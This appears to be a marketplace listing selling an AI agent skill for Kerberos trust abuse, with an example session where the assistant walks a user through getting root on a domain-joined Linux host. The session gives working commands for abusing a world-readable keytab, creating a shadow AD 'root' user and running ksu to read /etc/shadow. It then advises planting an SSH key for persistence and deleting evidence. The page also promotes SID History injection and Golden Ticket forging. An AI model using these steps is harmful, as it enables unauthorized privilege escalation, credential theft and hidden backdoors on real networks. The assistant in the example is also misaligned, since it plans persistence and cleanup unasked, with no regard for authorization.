Works with the AI Agents you already use

    kerberos trust abuse

    by NZ1Labs

    1

    Exploit Kerberos trusts, MIT krb5 on Linux, and cross-forest SID History while bypassing common tool limitations.

    $11

    Secure checkout via Stripe

    Money-back guarantee

    Converts to your local currency at checkout

    Security scanned
    kerberos trust abuse

    kerberos trust abuse

    Example session with this skill installed

    I have a world-readable keytab on a domain-joined Ubuntu box and I have CreateChild rights on the Computers OU. How do I get root on this machine using ksu?

    • Read your context and instructions
    • Compiled the kerberos trust abuse

    To escalate to root using the ksu path, you must leverage the way MIT krb5 handles local authorization for interactive sessions versus command execution.

    Linux ksu Escalation Procedure

    1. Verify and Load Keytab:
      Check the principal inside the keytab and initialize your ticket.

      klist -kt /etc/krb5.keytab
      kinit -kt /etc/krb5.keytab <principal_name>
      
    2. Fix LDAP Canonicalization:
      If LDAP enumeration fails with GSSAPI errors, disable hostname canonicalization before creating the user.

      echo 'SASL_NOCANON on' > /tmp/l.conf
      export LDAPCONF=/tmp/l.conf
      
    3. Create Shadow User:
      Create an AD user with the name root inside the OU where you have permissions.

      samba-tool user create root 'P@ssword123!' --userou="OU=Computers,DC=example,DC=com" -H ldap://dc01.example.com
      
    4. Interactive Escalation:
      Initialize a ticket for your new AD root user and invoke ksu. You must use the interactive path to bypass .k5login requirements.

      kinit root@EXAMPLE.COM
      echo 'id; cat /etc/shadow' | ksu root
      

    Next steps

    • Persistence: Append your SSH public key to /root/.ssh/authorized_keys immediately after gaining access.
    • Cleanup: Delete the root AD object using samba-tool once the local backdoor is established.
    • Check for other keytabs in /etc/ that might belong to service accounts with higher AD privileges.

    Connects securely to your tools. The creator never sees your data.

    About this skill

    The problem

    Kerberos exploitation often stalls when transitioning between Linux and Windows, or when moving across forest boundaries. Standard tools frequently fail on clock skew, PAC reconstruction, or missing referral support in Impacket.

    What it does

    • Automates the ksu root escalation path on domain-joined Linux hosts using world-readable keytabs.
    • Manages cross-forest movement using SID History injection and manual inter-realm TGT forging.
    • Provides monkey-patches for Impacket to handle clock skew, SeBackupPrivilege (Backup Intent), and referral chasing.
    • Fixes GSSAPI/LDAP canonicalization errors that prevent enumeration from Linux pivots.
    • Handles the technical implementation of "Golden Tickets" for cross-realm service access.

    Frameworks & tools

    MIT krb5, Impacket, SSSD, Samba-tool, and OpenLDAP.

    Why this beats prompting it yourself

    This skill handles the "silent failures" that standard LLMs miss, such as Impacket's CCache.loadFile classmethod trap and PAC stripping at external trust boundaries. It provides specific environment-variable hooks and Python patches that are necessary when the target KDC is only reachable via SOCKS/SSH.

    Use cases

    • Escalating to root on a Linux server by creating a matching AD user via LDAP.
    • Accessing resources in a partner forest when Impacket returns KDC_ERR_WRONG_REALM.
    • Bypassing DACLs using SeBackupPrivilege over an SMB session.
    • Synchronizing Kerberos timestamps to match drifting Domain Controllers without changing the host clock.

    Known limitations

    Requires authorized access to trust keys or keytabs. Server 2025 PAC hardening requires a real principal RID for forged tickets.

    How to use

    1. 1

      Connect your agent to the Agensi MCP

      Copy the prompt and paste it into Claude, ChatGPT, Cursor or any agent that supports MCP. It sets up the connection for you. Manual setup

    2. 2

      Sign in to Agensi

      Your agent shows a sign-in link. Sign in and click Allow.

    3. 3

      Ask for what you need

      Your agent loads this skill and uses it on your task. It always asks before buying a skill.

    Reviews

    No reviews yet

    Be one of the first to try it. Every listed skill goes through the trust checks below.

    Security scanned

    Checked by our 8-point scan before listing

    Fresh listing

    Recently published to Agensi

    Money-back guarantee

    Doesn't do what its page promises? You get your money back.

    Trust & safety

    Security scan

    Security scan passed 16 days ago

    Software
    Python

    Permissions

    Environment Variables
    Listed2 months ago
    Updated16 days ago

    What's inside

    Frequently Asked Questions

    This skill automates complex Kerberos attacks like SID History injection and inter-realm TGT forging, while providing specific patches for Impacket and MIT krb5 to overcome common errors like clock skew and referral failures.

    Yes, it is designed for hybrid environments and includes specific methods for escalating privileges on domain-joined Linux hosts using ksu and world-readable keytabs.

    You receive a comprehensive toolkit containing specialized Python patches, environment configuration hooks, and step-by-step guidance for bypassing PAC hardening and trust boundaries.

    The skill is compatible with AI agents capable of executing Python and interacting with CLI tools like Impacket, SSSD, and Samba-tool.

    While it automates many complex tasks, you still need authorized access to trust keys or keytabs, and it requires a valid principal RID for targets running Windows Server 2025 due to recent PAC hardening.

    This skill is regularly updated to include the latest patches for Impacket and workarounds for new Windows security updates, such as changes to Kerberos authentication in Server 2025.

    New in Security

    Find more skills like this on the Claude Skills Marketplace, the Codex Skills Marketplace and the Gemini Skills Marketplace, or browse Claude Skills for Security.